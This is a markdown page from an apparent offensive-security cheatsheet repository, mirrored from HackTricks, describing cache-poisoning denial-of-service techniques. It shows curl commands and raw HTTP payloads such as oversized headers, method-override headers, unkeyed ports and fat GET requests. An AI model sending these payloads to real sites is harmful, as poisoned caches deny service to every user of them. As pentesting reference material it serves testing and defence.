daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cache-poisoning-to-dos.md (7844B)


      1 ---
      2 title: "Cache Poisoning to DoS"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/cache-deception/cache-poisoning-to-dos.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Cache Poisoning to DoS
     14 
     15 > [!CAUTION]
     16 > These techniques try to make the **origin return an error, a blank body, or a broken redirect** for a request that the **cache still considers valid/cacheable**. Once stored, the poisoned object can deny access to every user hitting the same cache key.
     17 
     18 > [!TIP]
     19 > Confirm CPDoS with the **lowest blast radius possible**: send a **baseline** request, then the **poisoning** request, and finally a **validation** request without the malicious input. Compare **status**, **body length**, and cache headers such as **`X-Cache`**, **`CF-Cache-Status`**, **`Cache-Status`**, or **`Age`**. If possible, use a sacrificial endpoint or an unkeyed cache buster first.<sup>[[2]](#references)</sup>
     20 
     21 If the issue depends on **path confusion**, **static extensions/directories**, or other URL parser discrepancies, first check [Cache Poisoning via URL discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies).
     22 
     23 ## Quick verification flow
     24 
     25 ```bash
     26 url='https://target.tld/app.js'
     27 
     28 # 1) Baseline
     29 curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
     30 
     31 # 2) Poison attempt
     32 curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
     33 
     34 # 3) Validation
     35 curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
     36 ```
     37 
     38 ## Common cache poisoning-to-DoS primitives
     39 
     40 ### HTTP Header Oversize (HHO)
     41 
     42 Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error.
     43 
     44 ```http
     45 GET / HTTP/1.1
     46 Host: redacted.com
     47 X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000
     48 ```
     49 
     50 This is especially interesting when the **CDN/header limit is larger than the origin/framework limit**.<sup>[[1]](#references)</sup>
     51 
     52 ### HTTP Meta Character (HMC) & unexpected values
     53 
     54 Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`.
     55 
     56 ```http
     57 GET / HTTP/1.1
     58 Host: redacted.com
     59 X-Metachar-Header: \0
     60 ```
     61 
     62 ```http
     63 GET /anas/repos HTTP/2
     64 Host: redacted.com
     65 Content-Type: HelloWorld
     66 ```
     67 
     68 A badly configured parser may also fail on values such as `\:`.<sup>[[1]](#references)</sup>
     69 
     70 ### Unkeyed header that triggers an error
     71 
     72 Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header.
     73 
     74 ```http
     75 GET /app.js HTTP/2
     76 Host: redacted.com
     77 X-Amz-Website-Location-Redirect: someThing
     78 
     79 HTTP/2 403 Forbidden
     80 X-Cache: hit
     81 
     82 Invalid Header
     83 ```
     84 
     85 Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing.<sup>[[2]](#references)</sup>
     86 
     87 ### HTTP Method Override Attack (HMO)
     88 
     89 If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key.
     90 
     91 ```http
     92 GET /app.js HTTP/1.1
     93 Host: redacted.com
     94 X-HTTP-Method-Override: HEAD
     95 ```
     96 
     97 `HEAD`, `TRACE`, `PUT`, `DELETE`, and `POST` are worth testing. `HEAD` is especially attractive because some stacks reply `200 OK` with `Content-Length: 0`, effectively blanking the asset for everyone.<sup>[[1]](#references)</sup>
     98 
     99 ### Unkeyed Port
    100 
    101 If the port in the `Host` header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:<sup>[[2]](#references)</sup>
    102 
    103 ```http
    104 GET /index.html HTTP/1.1
    105 Host: redacted.com:1
    106 
    107 HTTP/1.1 301 Moved Permanently
    108 Location: https://redacted.com:1/en/index.html
    109 X-Cache: miss
    110 ```
    111 
    112 ### Long Redirect DoS
    113 
    114 If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request.
    115 
    116 ```http
    117 GET /login?x=veryLongUrl HTTP/1.1
    118 Host: www.cloudflare.com
    119 
    120 HTTP/1.1 301 Moved Permanently
    121 Location: /login/?x=veryLongUrl
    122 CF-Cache-Status: HIT
    123 
    124 GET /login/?x=veryLongUrl HTTP/1.1
    125 Host: www.cloudflare.com
    126 
    127 HTTP/1.1 414 Request-URI Too Large
    128 CF-Cache-Status: MISS
    129 ```
    130 
    131 ### Host header case normalization
    132 
    133 The `Host` header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case `Host` can poison the canonical cache bucket:
    134 
    135 ```http
    136 GET /img.png HTTP/1.1
    137 Host: Cdn.redacted.com
    138 
    139 HTTP/1.1 404 Not Found
    140 X-Cache: miss
    141 
    142 Not Found
    143 ```
    144 
    145 ### Path normalization / static-rule confusion
    146 
    147 Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (`/assets/...`, `.css`, `.js`, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.
    148 
    149 ```http
    150 GET /api/v1%2e1/user HTTP/1.1
    151 Host: redacted.com
    152 
    153 HTTP/1.1 404 Not Found
    154 X-Cache: miss
    155 
    156 Not Found
    157 ```
    158 
    159 For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via URL discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies).
    160 
    161 ### Fat GET
    162 
    163 Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key.
    164 
    165 ```http
    166 GET /index.html HTTP/2
    167 Host: redacted.com
    168 Content-Length: 3
    169 
    170 xyz
    171 
    172 HTTP/2 403 Forbidden
    173 X-Cache: hit
    174 ```
    175 
    176 ### Framework / internal cache poisoning
    177 
    178 Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer**. Internal framework caches or upstream CDNs may also store:
    179 
    180 - a **`204 No Content`** response for a normally populated static/ISR page
    181 - a **`200 OK`** response with **`Content-Length: 0`**
    182 - a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`**
    183 
    184 In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](/hacktricks/network-services-pentesting/pentesting-web/nextjs) for framework-specific cache poisoning bugs.<sup>[[3]](#references)</sup>
    185 
    186 ## References
    187 
    188 - [1] [CPDoS.org – Cache-Poisoning Denial-of-Service (CPDoS) Attacks](https://cpdos.org/)
    189 - [2] [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning)
    190 - [3] [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r)